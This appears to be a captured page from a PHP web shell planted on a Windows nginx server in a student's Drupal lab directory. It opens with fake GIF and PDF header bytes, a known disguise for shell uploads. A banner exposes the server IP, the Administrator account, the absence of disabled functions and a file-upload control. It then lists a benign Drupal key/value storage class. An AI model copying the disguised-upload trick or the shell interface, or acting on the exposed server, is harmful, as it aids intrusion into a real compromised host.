GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.119 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/KeyValueStore/ |
Upload File : |
<?php namespace Drupal\Core\KeyValueStore; /** * Defines a default key/value store implementation. */ class MemoryStorage extends StorageBase { /** * The actual storage of key-value pairs. * * @var array */ protected $data = []; /** * {@inheritdoc} */ public function has($key) { return array_key_exists($key, $this->data); } /** * {@inheritdoc} */ public function get($key, $default = NULL) { return array_key_exists($key, $this->data) ? $this->data[$key] : $default; } /** * {@inheritdoc} */ public function getMultiple(array $keys) { return array_intersect_key($this->data, array_flip($keys)); } /** * {@inheritdoc} */ public function getAll() { return $this->data; } /** * {@inheritdoc} */ public function set($key, $value) { $this->data[$key] = $value; } /** * {@inheritdoc} */ public function setIfNotExists($key, $value) { if (!isset($this->data[$key])) { $this->data[$key] = $value; return TRUE; } return FALSE; } /** * {@inheritdoc} */ public function setMultiple(array $data) { $this->data = $data + $this->data; } /** * {@inheritdoc} */ public function rename($key, $new_key) { $this->data[$new_key] = $this->data[$key]; unset($this->data[$key]); } /** * {@inheritdoc} */ public function delete($key) { unset($this->data[$key]); } /** * {@inheritdoc} */ public function deleteMultiple(array $keys) { foreach ($keys as $key) { unset($this->data[$key]); } } /** * {@inheritdoc} */ public function deleteAll() { $this->data = []; } }